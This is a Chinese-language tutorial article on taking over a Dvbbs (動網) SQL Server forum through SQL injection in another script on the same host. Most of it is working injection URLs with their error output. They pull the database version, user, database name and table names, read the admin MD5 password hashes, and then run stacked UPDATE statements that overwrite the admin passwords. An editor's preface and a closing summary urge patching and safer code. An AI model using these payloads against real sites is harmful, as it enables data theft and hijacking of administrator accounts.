再談SQL注入入侵動網SQL版

編輯前言:
  這個文章我沒有測試,但前提條件還是很多,比如一定要有別的程序存在,而且也要用同一個SQLSERVER庫,還得假設有注入漏洞。說到底和動網沒有什麼關係,但因爲動網論壇的開放性,讓人熟悉了其數據庫結構,和程序運作方法。在一步步的攻擊中取得管理權限,再一步步的提升權限,如果正好數據庫用的是SA帳號,就更是麻煩了。

  正是由於這些條件的假設,所以大家也不用太緊張,這裏提供的是很多理想狀態下的入侵行爲,在編程中減少安全漏洞是我們每個程序員要注意的。而站長在組合使用多個程序的時候,也要注意安全和程序的完整性。

  在我所瞭解的多個動網7.0+sp2 的版本也有2-3次被黑現象,所以大家還要及時注意升級,詳細進行權限設置。並不是說動網不好,而是說他程序的開放性,用的人很多,找出來的BUG會很多,軟件學裏說了,用的越多,BUG會越多。相對來說,我喜歡自己定製化開發的程序,相對來說會安全一些。

下面是六中男孩的正文

  現在動網最新版本是7.0+SP2。應該說安全性已經是很高的了。所以從腳本本身的問題去突破它難度不小。但是我們可以從外部的一些途徑間接“搞定”動網.現在IIS+ASP+SQL2000的組合是比較常見的。而一個網站運用大量的ASP腳本程序,難免不出紕漏。如果一臺主機上存在某個SQL注入點,而這臺主機又安裝有動網SQL版的話,基本上可以得出結論:這個動網就是你的了。下面來看一下實例。

  一、 首先確定目標。假設以下URL存在SQL注入:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=6 測試能否注入可以在6後面加個單引號。

http://www.loveyou.com/type.aspid=6' 返回錯誤提示:
microsoft.gif Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14' 
[
microsoft.gif Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號。


  繼續,先探測一下系統版本:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select @@version)-- 

返回: 
microsoft.gif Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' 
[
microsoft.gif Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'microsoft.gif Microsoft SQL Server 2000 - 8.00.760 (Intel.gif Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 microsoft.gif Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換爲數據類型爲 int 的列時發生語法錯誤。 
看來已經打上最新的SP4補丁。


  取得當前連接數據庫用戶:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select user_name())-- 

返回:
microsoft.gif Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' 
[
microsoft.gif Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'webuser' 轉換爲數據類型爲 int 的列時發生語法錯誤。
從錯誤信息中得到當前數據庫用戶爲:webuser


  取得當前連接數據庫名:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select db_name())--

返回:
microsoft.gif Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' 
[
microsoft.gif Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 '01city' 轉換爲數據類型爲 int 的列時發生語法錯誤。 
從錯誤信息中得到當前數據庫名爲: 01city


  接下來測試下權限:(注:因爲我們的目的是搞定動網而不是侵佔系統。所以數據庫權限對我們不是很重要。)
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回錯誤信息。提示當前記錄已刪除。看來權限果然不是很高耶。繼續,
http://www.loveyou.com/type.asp?id=(SE ... ('db_owner'))--
正常顯示信息,看來連接數據庫擁有的權限是DB_OWNER(DOWN數據庫所有者。但對操縱數據是綽綽有餘了。


  二.得到數據庫表名。不出意外的話動網的各個表就存在於當前數據庫01city中。
  首先得到第一個表:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回:[
microsoft.gif Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'address' 轉換爲數據類型爲 int 的列時發生語法錯誤。 
好的,第一個表名出來了,爲: address
繼續,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects whe ... us>0 and name not in('address'))--
返回: admin 第二個表名也出來了。依次類推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects w ... tatus>0 and name not in('address','admin',...))--


  可以得到當前數據庫中所有表名。
  不一會兒,結果出來了, 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出這是動網的表。當然還有其它的一些表,我們不去管它。
  接下來就好辦了,也不要去猜字段了,我們打開自己的動網數據庫看一下就知道了。 既然有了表名,字段名,那麼,動網不就在你掌握之下了嗎? 但千萬不要 drop table啊。 破壞就不好了。我們的目的是演練技術,提高水平。 好,那麼,我們去得到動網的後臺。

  三、進入後臺,取得動網論壇管理員權限。
程序代碼: [ 複製代碼到剪貼板 ]
先看看後臺有多少個管理員:
http://www.loveyou.com/type.asp?id=6 and 4 ... sername) from admin)--
返回錯誤: 當前的記錄已被刪除。說明管理員少於4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1 ... sername) from admin)--
正常顯示信息,看來管理員只有一個,讀出管理員名字,
http://www.loveyou.com/type.asp?id=(sele ...  from admin)--
出來了,管理員後臺登陸名爲: 01city
繼續讀出管理員後臺登陸密碼:
http://www.loveyou.com/type.asp?id=(sele ...  from admin)--
很順利,密碼爲: e7cc01be0e33a273
是MD5加密過的。難道要去破解它嗎? 別急,根本不需要去破MD5密碼。
由於動網後臺管理是COOKIE+SESSION認證。所以只有管理員在前臺登陸纔可以進後臺管理,一般用戶是無法進後臺管理的。即使後臺用戶和密碼都知道的情況下也一樣。所以我們還要取得前臺管理的用戶和密碼。 這個很容易,在他論壇註冊一個用戶查看一下管理團隊,得出,前臺管理用戶爲: admin


  好,得到他的密碼:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前臺密碼爲:e7cc01be0e33a273
同樣是MD5的。 現在利用COOKIE欺騙可以登陸它的前臺管理了。但是還有別的辦法嗎?別忘了現在我們可是對它的數據庫擁有生殺大權哦。聰明的你可能想到了,對 ,就是,update。 我們來提交:
http://www.loveyou.com/type.asp?id=6;update user set userpa ... 39; where username='admin';--
正常返回信息,應該成功執行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword&n ... here username='admin')--
返回值爲: 49ba59abbe56e057
更改密碼成功,說明一下,這個16位MD5是預先算好的。你要知道它的明文密碼。
那麼同樣的,我們更改一下後臺的管理密碼.先把後臺用戶改成和前臺用戶一樣的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set  ... sp;where username='01city'--


  查看一下:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,後臺管理員現在已變成:admin 接下來更改密碼,提交:
http://www.loveyou.com/type.asp?id=6;update admin set passw ... ; where username='admin'--

  查看一下:
程序代碼: [ 複製代碼到剪貼板 ]
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,後臺管理員密碼已經變成:49ba59abbe56e057

到這裏爲止,動網已徹底淪陷。你可以用admin登陸前臺然後再用相同的密碼進後臺管理了。

四、總結
  就這樣並不算太艱難的實現了對動網的控制。通過這次善意的滲透測試,也暴露出SQL INJECTION攻擊的可怕性。而對於IIS+ASP+SQL2000的虛擬主機來說簡直就是防不勝防。只要主機上有一個SQL注入點的話,動網就將面臨滅頂之災了。而其實從服務器龐大的網站程序中找一個這樣的SQL注入點並不算難事.正應徵了一句老話:千里之堤,潰於蟻穴。所以防範這樣的攻擊的最好辦法是加強程序代碼的安全性。安全是個整體,任何細微的錯誤都有可能導致嚴重後果。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章